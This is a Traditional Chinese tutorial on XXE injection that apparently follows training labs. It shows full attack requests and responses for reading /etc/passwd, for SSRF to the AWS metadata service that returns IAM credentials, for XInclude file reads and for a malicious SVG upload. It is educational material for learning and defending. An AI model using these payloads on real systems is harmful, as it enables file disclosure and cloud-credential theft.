XXE,全名XML eXternal Entity Injection
,XML外部實體注入。
以XML為基礎的網路應用程式沒有做好管控權限,直接讀取外部資源提供的 XML 檔案。攻擊者提供惡意XML檔案讓系統讀取,就有可以進行文件的共享、監聽內部網路、執行遠端程式,進而導致資料外洩,或系統被駭客接管。
XML 檔案有兩個特徵,DTD(Document Type Definition) 及 XML Schema。DTD 還可以分為4個部份, Elements(元素)、Attribute (屬性)、Entities(實體)及 Comments(註解) 。
XML 允許在 DTD 中定義自訂entities,如下。這表示Entities為&myentity;
,值為my entity value
<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>
假如想要使用eXternal Entity
指定URL或file位置以讀取外部的內容,要用關鍵字SYSTEM
,如下
<!DOCTYPE foo [ <!ENTITY
myentity
SYSTEM "http://normal-website.com" > ]><!DOCTYPE foo [ <!ENTITY
myentity
SYSTEM "file:///path/to/file" > ]>
利用這種XEE手法,常見的攻擊如下:
- 利用XXE檢索文件
- 利用XXE進行SSRF攻擊
- 透過XInclude進行XXE攻擊
- 透過檔案上傳進行XXE攻擊
利用XXE檢索文件
攻擊的方式如下,假設以下是正常的請求
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>
使用XXE的攻擊請求如下,此 XXE 負載定義了一個外部實體&xxe;
,其值是檔案的內容/etc/passwd
,這可顯示/etc/passwd內容
############# request by attack #############
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
############# reponse by attack #############
Invalid product ID: root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologin
Lab: Exploiting XXE using external entities to retrieve files
利用XXE進行SSRF攻擊
假如http://169.254.169.254/latest/meta-data/iam/security-credentials/admin只有內網才能存取,可以在外網透過XXE進行SSRF攻擊,如下
############# request by attack #############
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId>
############# reponse by attack #############
HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 546
"Invalid product ID: {
"Code" : "Success",
"LastUpdated" : "2020-08-19T03:43:39.176713Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "Rw8ffdkGeXEVhMfdhxEl",
"SecretAccessKey" : "8P2lHSNgVomPinNCCniZT0QoUqILr4nYl91zpHQU",
"Token" : "ZhPYfU69Xs0tiFPiBErTfIMNN8r4dL1rwG81wkRVADmzpJQE52tJL2fdQiVLQok1DEdkY1NxAdYGMgjPTBR8ht4PHO2BiGLWtq1CGkwLPMfsdIJszMuPuIoLFC2lMDemGQq3t9zd7KLaLQIxOSgzatdWoF2yv3MnGrEVXUUSu3Y8RINJYDERrimhTfhanSJ3XjFeBrvDp9DOHdKAAEpRV0mqcToQhlONRfDAJtqvGD2qzGlJ9pPph4aznmf8d8no",
"Expiration" : "2026-08-18T03:43:39.176713Z"
}"
Lab: Exploiting XXE to perform SSRF attacks
透過XInclude進行XXE攻擊
XInclude
是 XML 規範的一部分,允許從子文檔建立 XML 文件。要使用這種方式做攻擊,需要引用XInclude
名稱空間並提供您希望包含的檔案的路徑,如下,可顯示/etc/passwd內容
############# attack request #############
POST /product/stock HTTP/1.1
...omit...
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
############# attack response #############
...omit...
"Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...omit...
Lab: Exploiting XInclude to retrieve files
透過檔案上傳進行XXE攻擊
應用程式可能允許使用者上傳圖像,並在上傳後讓伺服器處理或驗證這些圖像。即使應用程式期望接收 PNG 或 JPEG 等格式,正在使用的影像處理庫也可能支援 SVG 影像。由於SVG格式使用XML,攻擊者可以提交惡意SVG映像,從而達到XXE漏洞的隱藏攻擊面
例如,建立一個svg檔案如下,然後上傳到有XXE漏洞的網站
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
上傳後就可以在圖片看到/etc/hostname
Lab: Exploiting XXE via image file upload